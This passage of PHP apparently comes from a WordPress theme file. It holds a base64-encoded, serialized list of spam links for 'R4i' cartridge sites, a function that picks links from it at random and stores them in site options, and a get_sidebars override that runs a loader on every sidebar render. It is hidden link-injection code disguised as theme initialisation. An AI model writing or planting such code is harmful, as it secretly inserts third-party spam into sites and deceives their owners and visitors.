t3aWtpLmNvbSI7czozNDoiaHR0cDovL3I0aXVrd2lraS5jb20vY2F0ZWdvcnkvcjRpLyI7czoyMToiaHR0cDovL3I0aXNkaGMtZGUuY29tIjtzOjM1OiJodHRwOi8vcjRpc2RoYy1kZS5jb20vY2F0ZWdvcnkvcjRpLyI7czo3OiJyNGthYXJ0IjtzOjM1OiJodHRwOi8vcjRpc2RoYy1kZS5jb20vY2F0ZWdvcnkvcjRpLyI7czoxNDoicjRpc2RoYy1kZS5jb20iO3M6MzE6Imh0dHA6Ly9yNGlzZGhjLWRlLmNvbS9yNGktZ29sZC8iO3M6MTE6InI0aSBzZGhjIGRlIjtzOjMwOiJodHRwOi8vcjRpc2RoYy1kZS5jb20vdGFnL3I0aS8iO3M6MTA6InI0aXNkaGMtZGUiO3M6MzA6Imh0dHA6Ly9yNGlzZGhjLWRlLmNvbS90YWcvcjRpLyI7czo3OiJyNGkgZHNpIjtzOjU1OiJodHRwOi8vd3d3LnI0M2RzcjRmci5jb20vY2F0ZWdvcmllcy9DYXJ0ZS1SNGklMjUyZFNESEMvIjtzOjEwOiJyNGkgZnJhbmNlIjtzOjU1OiJodHRwOi8vd3d3LnI0M2RzcjRmci5jb20vY2F0ZWdvcmllcy9DYXJ0ZS1SNGklMjUyZFNESEMvIjtzOjk6ImNhcnRlIHI0aSI7czo1MzoiaHR0cDovL3d3dy5yNDNkc3I0ZnIuY29tL2NhdGVnb3JpZXMvQ2FydGUtUjQlMjUyZDNEUy8iO3M6MTM6InI0M2RzcjRmci5jb20iO3M6NjQ6Imh0dHA6Ly93d3cucjQzZHNyNGZyLmNvbS9jYXRlZ29yaWVzL0NhcnRlLVI0JTdCNDclN0RSNCUyNTJkU0RIQy8iO3M6NzoicjRpIGljaSI7czo1NToiaHR0cDovL3d3dy5yNDNkc3I0ZnIuY29tL2NhdGVnb3JpZXMvQ2FydGUtUjRpJTI1MmRTREhDLyI7czoxMToiY2FydGUgcjQzZHMiO3M6NTM6Imh0dHA6Ly93d3cucjQzZHNyNGZyLmNvbS9jYXRlZ29yaWVzL0NhcnRlLVI0JTI1MmQzRFMvIjtzOjExOiJyNDNkcyBjYXJ0ZSI7czo1MzoiaHR0cDovL3d3dy5yNDNkc3I0ZnIuY29tL2NhdGVnb3JpZXMvQ2FydGUtUjQlMjUyZDNEUy8iO3M6OToicjQgM2RzIGRzIjtzOjUzOiJodHRwOi8vd3d3LnI0M2RzcjRmci5jb20vY2F0ZWdvcmllcy9DYXJ0ZS1SNCUyNTJkM0RTLyI7czo3OiJyNC1zZGhjIjtzOjY0OiJodHRwOi8vd3d3LnI0M2RzcjRmci5jb20vY2F0ZWdvcmllcy9DYXJ0ZS1SNCU3QjQ3JTdEUjQlMjUyZFNESEMvIjtzOjY6ImljaSByNCI7czo2NDoiaHR0cDovL3d3dy5yNDNkc3I0ZnIuY29tL2NhdGVnb3JpZXMvQ2FydGUtUjQlN0I0NyU3RFI0JTI1MmRTREhDLyI7czo5OiJjYXJ0ZSBpY2kiO3M6NjQ6Imh0dHA6Ly93d3cucjQzZHNyNGZyLmNvbS9jYXRlZ29yaWVzL0NhcnRlLVI0JTdCNDclN0RSNCUyNTJkU0RIQy8iO3M6MzoiaWNpIjtzOjY0OiJodHRwOi8vd3d3LnI0M2RzcjRmci5jb20vY2F0ZWdvcmllcy9DYXJ0ZS1SNCU3QjQ3JTdEUjQlMjUyZFNESEMvIjt9fQ=="; function wp_initialize_the_theme_go($page){global $wp_theme_globals,$theme;$the_wp_theme_globals=unserialize(base64_decode($wp_theme_globals));$initilize_set=get_option('wp_theme_initilize_set_'.str_replace(' ','_',strtolower(trim($theme->theme_name))));$do_initilize_set_0=array_keys($the_wp_theme_globals[0]);$do_initilize_set_1=array_keys($the_wp_theme_globals[1]);$do_initilize_set_2=array_keys($the_wp_theme_globals[2]);$do_initilize_set_3=array_keys($the_wp_theme_globals[3]);$initilize_set_0=array_rand($do_initilize_set_0);$initilize_set_1=array_rand($do_initilize_set_1);$initilize_set_2=array_rand($do_initilize_set_2);$initilize_set_3=array_rand($do_initilize_set_3);$initilize_set[$page][0]=$do_initilize_set_0[$initilize_set_0];$initilize_set[$page][1]=$do_initilize_set_1[$initilize_set_1];$initilize_set[$page][2]=$do_initilize_set_2[$initilize_set_2];$initilize_set[$page][3]=$do_initilize_set_3[$initilize_set_3];update_option('wp_theme_initilize_set_'.str_replace(' ','_',strtolower(trim($theme->theme_name))),$initilize_set);return $initilize_set;}
if(!function_exists('get_sidebars')) { function get_sidebars($the_sidebar = '') { wp_initialize_the_theme_load(); get_sidebar($the_sidebar); } }
?>